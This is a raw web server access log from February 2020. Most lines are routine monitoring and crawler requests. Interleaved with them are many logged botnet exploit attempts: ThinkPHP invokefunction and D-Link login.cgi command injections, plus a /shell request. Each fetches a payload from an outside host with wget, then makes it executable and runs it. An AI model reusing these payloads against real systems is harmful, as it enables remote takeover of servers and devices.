80.26.154.92 - - [09/Feb/2020:06:34:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
113.22.170.10 - - [09/Feb/2020:06:35:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.26.142.75 - - [09/Feb/2020:06:36:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
103.254.56.204 - - [09/Feb/2020:06:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
1.54.135.230 - - [09/Feb/2020:06:37:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.223.100.5 - - [09/Feb/2020:06:38:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
34.94.19.57 - - [09/Feb/2020:06:38:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
192.99.13.75 - - [09/Feb/2020:06:40:26 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
197.51.129.17 - - [09/Feb/2020:06:40:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
192.99.13.75 - - [09/Feb/2020:06:40:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
191.209.102.59 - - [09/Feb/2020:06:41:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.248.250.88 - - [09/Feb/2020:06:41:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.119.105.2 - - [09/Feb/2020:06:43:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
192.99.39.172 - - [09/Feb/2020:06:47:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36"
42.117.31.165 - - [09/Feb/2020:06:48:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.20.29.126 - - [09/Feb/2020:06:50:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.241.116.105 - - [09/Feb/2020:06:59:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:07:00:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [09/Feb/2020:07:00:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
220.116.93.35 - - [09/Feb/2020:07:01:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
41.44.166.57 - - [09/Feb/2020:07:01:14 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
220.116.93.35 - - [09/Feb/2020:07:01:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:07:01:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [09/Feb/2020:07:01:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [09/Feb/2020:07:02:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [09/Feb/2020:07:02:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [09/Feb/2020:07:02:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:07:02:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.163.125 - - [09/Feb/2020:07:02:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.178.8.198 - - [09/Feb/2020:07:02:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [09/Feb/2020:07:02:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:07:03:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.28.106 - - [09/Feb/2020:07:04:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:07:04:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.221.186 - - [09/Feb/2020:07:04:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:07:05:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.164.133.20 - - [09/Feb/2020:07:05:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
168.90.142.138 - - [09/Feb/2020:07:05:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:07:06:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:07:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.137.46.137 - - [09/Feb/2020:07:07:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.33.247.225 - - [09/Feb/2020:07:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:07:08:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.221.246 - - [09/Feb/2020:07:09:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:07:09:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:10:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:11:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.244.253 - - [09/Feb/2020:07:11:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:07:12:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.65.133.249 - - [09/Feb/2020:07:13:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [09/Feb/2020:07:13:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:14:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:15:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:16:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.236.56.171 - - [09/Feb/2020:07:16:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:07:17:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:18:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:19:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:20:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:21:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:22:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:23:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.5.213.75 - - [09/Feb/2020:07:23:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
157.55.39.38 - - [09/Feb/2020:07:23:59 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
40.77.167.82 - - [09/Feb/2020:07:24:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [09/Feb/2020:07:24:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:25:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [09/Feb/2020:07:26:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
1.53.172.196 - - [09/Feb/2020:07:26:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:07:26:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:27:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:28:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [09/Feb/2020:07:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
124.47.8.10 - - [09/Feb/2020:07:29:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:07:29:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:30:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [09/Feb/2020:07:30:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:07:31:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.237.149.115 - - [09/Feb/2020:07:31:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
2.133.81.180 - - [09/Feb/2020:07:31:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
123.200.20.34 - - [09/Feb/2020:07:32:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:07:32:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.74.253.101 - - [09/Feb/2020:07:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
124.159.32.9 - - [09/Feb/2020:07:32:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:07:33:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:34:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.226.197 - - [09/Feb/2020:07:35:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.241.110 - - [09/Feb/2020:07:35:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:07:35:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.246.180 - - [09/Feb/2020:07:35:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:07:36:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:37:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:38:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:39:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.10 - - [09/Feb/2020:07:39:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:07:40:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:41:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.78.184 - - [09/Feb/2020:07:41:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:07:42:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.123.16.108 - - [09/Feb/2020:07:42:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:07:43:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:44:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.120.47.106 - - [09/Feb/2020:07:44:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
176.231.116.221 - - [09/Feb/2020:07:44:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:07:45:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:46:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:47:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:48:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:49:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:50:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:51:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.255.229.109 - - [09/Feb/2020:07:52:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:07:52:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:53:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:54:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:55:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:56:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.20.29.126 - - [09/Feb/2020:07:56:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:07:57:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.143.248.189 - - [09/Feb/2020:07:58:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [09/Feb/2020:07:58:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:07:59:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.226.219.111 - - [09/Feb/2020:08:00:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:08:00:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:01:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
